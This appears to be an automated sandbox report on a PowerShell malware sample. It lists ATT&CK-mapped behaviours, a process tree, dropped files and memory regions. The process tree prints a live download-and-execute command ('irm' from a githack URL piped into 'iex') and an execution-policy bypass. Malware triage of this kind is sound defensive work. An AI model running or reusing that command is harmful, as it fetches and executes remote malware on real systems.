Analysis
- max time kernel
148s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/09/2026, 18:38
General
- Target 2515-4fda-8197-5f5880f00e98.ps1
- Size 93KB
- Sample260930-w95fcst1hx
- SHA256 b6ccbb6bd0caecc66cf62da38c3096cfc7920110003850e42eb50188a828a96c
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\2515-4fda-8197-5f5880f00e98.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\njlpuysf\njlpuysf.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES83CC.tmp" "c:\Users\Admin\AppData\Local\Temp\njlpuysf\CSC7874CCE9C2D43F790D74B5E5AF831D.TMP"3⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yg3fi1f4\yg3fi1f4.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85A1.tmp" "c:\Users\Admin\AppData\Local\Temp\yg3fi1f4\CSC6A246AE0BA5D4BAA962CBC2C7B2AFE72.TMP"3⤵
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm rawcdn.githack.com/dsteru3421/4f77-bdc8-7e8087412ccf/refs/heads/main/4b04-9f4f-bc75a03ee342 | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
RES83CC.tmp
RES85A1.tmp
__PSScriptPolicyTest_avulaw2j.a13.ps1
njlpuysf.dll
yg3fi1f4.dll
CSC7874CCE9C2D43F790D74B5E5AF831D.TMP
njlpuysf.0.cs
njlpuysf.cmdline
CSC6A246AE0BA5D4BAA962CBC2C7B2AFE72.TMP
yg3fi1f4.0.cs
yg3fi1f4.cmdline
memory/5944-14-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-49-0x0000020D9C670000-0x0000020D9C67A000-memory.dmp
memory/5944-15-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-16-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-17-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-18-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-13-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-12-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-11-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-10-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-31-0x0000020D9C310000-0x0000020D9C318000-memory.dmp
memory/5944-9-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-8-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-7-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-44-0x0000020D9C320000-0x0000020D9C328000-memory.dmp
memory/5944-4-0x0000020D83560000-0x0000020D83582000-memory.dmp
memory/5944-47-0x0000020D9C680000-0x0000020D9C69E000-memory.dmp
memory/5944-48-0x0000020D9C6A0000-0x0000020D9C752000-memory.dmp
memory/5944-6-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-0-0x00007FFA1614F000-0x00007FFA16150000-memory.dmp
memory/5944-5-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-50-0x0000020D9C8D0000-0x0000020D9C8EE000-memory.dmp
memory/5944-51-0x0000020D9C8B0000-0x0000020D9C8BA000-memory.dmp
memory/5944-52-0x0000020D9C910000-0x0000020D9C92C000-memory.dmp
memory/5944-54-0x0000020D9C8F0000-0x0000020D9C8F6000-memory.dmp
memory/5944-55-0x0000020D9C900000-0x0000020D9C90A000-memory.dmp
memory/5944-53-0x0000020D9C8C0000-0x0000020D9C8C8000-memory.dmp
memory/5944-69-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/5944-1-0x00007FFA15FC0000-0x00007FFA16964000-memory.dmp
memory/6024-58-0x0000000005250000-0x0000000005272000-memory.dmp
memory/6024-60-0x0000000005AE0000-0x0000000005B46000-memory.dmp
memory/6024-59-0x0000000005980000-0x00000000059E6000-memory.dmp
memory/6024-57-0x00000000052C0000-0x000000000590A000-memory.dmp
memory/6024-63-0x0000000005B50000-0x0000000005EAB000-memory.dmp
memory/6024-64-0x0000000006010000-0x000000000602E000-memory.dmp
memory/6024-65-0x00000000060D0000-0x000000000611C000-memory.dmp
memory/6024-67-0x0000000006550000-0x000000000656A000-memory.dmp
memory/6024-66-0x0000000007960000-0x0000000007FDC000-memory.dmp
memory/6024-56-0x0000000004B30000-0x0000000004B66000-memory.dmp